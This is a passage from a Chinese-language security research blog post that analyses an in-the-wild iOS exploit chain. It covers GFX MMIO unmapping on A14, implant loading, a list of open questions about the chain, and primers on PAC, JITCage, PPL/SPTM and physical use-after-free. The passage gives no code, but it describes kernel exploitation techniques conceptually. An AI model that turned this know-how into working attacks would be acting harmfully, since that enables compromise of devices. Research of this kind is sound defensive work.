此外,在 A14 上他们在恢复状态之前执行第二次 PTE 存储,通过用常规映射替换它来取消映射第二个 GFX MMIO 区域(0xfffffc1100170000)。我不完全知道为什么他们只在 A14 上需要这样做,但我怀疑他们希望 AP 不从该区域读取某些值然后可能崩溃。
我怀疑他们不能在 A14+ 上执行 A13 攻击的原因是更强的 CTRR 不再允许他们修改 rtk_crt_mmu_gxf_stack_size,因为它在 const 段中。

3.7. 之后

至此,他们已拥有完整的物理读写能力,并可加载植入物。我假设这是在 0x80000 MachO 内部使用导出的 C2C 函数完成的,但这是我目前逆向的终点。将来我想更好地理解内核读写清理部分和 GFX 代码执行,然后可能研究 C2C 函数和植入物本身。为此,我还准备了下一节中的开放问题。

4. 开放问题

本节汇总了截至目前分析中尚未解决的所有问题。我可能会在一段时间后回来回答它们,然后更新这篇文章。
  • 他们使用的是什么混淆器?JS 变量混淆替换生成的工作方式是否可以匹配到 Metasploit 的?
  • (0)[0] JIT 屏障构造究竟是如何影响 JIT 编译器状态的?
  • 是否存在一个版本中 obj 属性访问中的 "uo" 是正确代码生成所需要的?
  • 我们能否验证 gRWArray1 索引 0 和 2 是用来防止 JIT 共同加载或向量优化加载的?
  • 为什么在 targetObj 之后喷射 256 个对象——更少是否足够?
  • 为什么将浮点数组 butterfly 指针重置为 targetObj 的值而不是原始值?
  • C2C DOM 更新(状态 6)是否实际上被原生代码使用?
  • 他们如何能够通过 vm_object 分配 ID 模式观察来预测内核分配器状态?
  • 为什么升级到第二个 vm_object 作为物理映射原语?
  • 当他们已经有映射原语时,为什么 IOGPU 64 位递减间接是必要的?
  • GFX 休眠在 A14-A17 上究竟是如何被触发的?
  • 为什么第二个 GFX MMIO 区域取消映射只在 A14 上需要?
  • Sparrow 在哪里?
  • Gruber 内核读写清理/升级函数的其余部分做了什么?
  • C2C 函数向编排器导出了什么功能,编排器如何使用它们来加载植入物?

5. 参考

5.1. 什么是 PAC

指针认证码(PAC)是 ARMv8.3 及更高版本架构中实现的安全功能,提供针对前向边缘(防止 JOP)和后向边缘(防止 ROP)的控制流完整性(CFI)。PAC 通过向指针添加加密签名来工作,可以在解引用指针之前用于验证指针的完整性。这有助于防止攻击者操纵指针来执行任意代码或访问未授权内存。Apple 在 A12 及更高版本设备上发布了 PAC,因此在这些设备上攻击者需要在实现代码执行之前绕过 PAC。Brandon Azad 有一篇博客文章分析了初始实现,网上还有很多关于绕过的演讲。

5.2. 什么是 JITBox/JITCage

JITBox/JITCage 是 WebContent 内部的一个安全功能,试图防止攻击者使用 JIT 区域作为击败 CFI 的方式。关于它的公开文档很少,但我找到了 Synacktiv 的这个演示和 Luca 的一个演讲。Apple 基本上限制了可以在 JIT 区域内执行的汇编指令以及代码可以跳转到的位置(通过禁止未经认证的跳转和跳转到区域外的指令,对于认证跳转则限制对签名密钥的访问)。

5.3. 什么是 PPL/SPTM

旧设备上的页保护层(PPL)和新设备上的安全页表监视器(SPTM)负责保护系统免受已经拥有内核读写的攻击者的攻击。它通过获取对页表以及其他重要数据结构的控制并保持它们对内核只读来实现这一点,使得无法在不首先获取 PPL/SPTM 上下文内写入原语的情况下修改它们。关于它们的好博客文章可以在这里、这里和这里找到。

5.4. 什么是 pUAF

pUAF 这个术语最初由 felix-pb 在他的 kfd 文章中创造。与虚拟地址被重用的常规 UAF 不同,物理 UAF(pUAF)描述了一种场景,其中由于 vm 子系统内部的漏洞,支持映射的物理页被释放,而(虚拟)映射仍然存在。这意味着映射的虚拟地址仍然可以用于访问内存,但它现在将指向在这些物理页上分配的任何新数据。这是一个非常强大的原语,因为它允许攻击者简单地喷射他们希望修改的内核结构,检测它们出现在 pUAF 映射上,然后直接从用户态修改它们。

6. 结语

我希望你喜欢这篇阅读。感谢所有在捕获、分析、理解和校对方面帮助我的人!
如果你有任何问题或改进建议,你可以在 Twitter 上联系我或通过电子邮件。
下次见 ~lailo
评论加载中...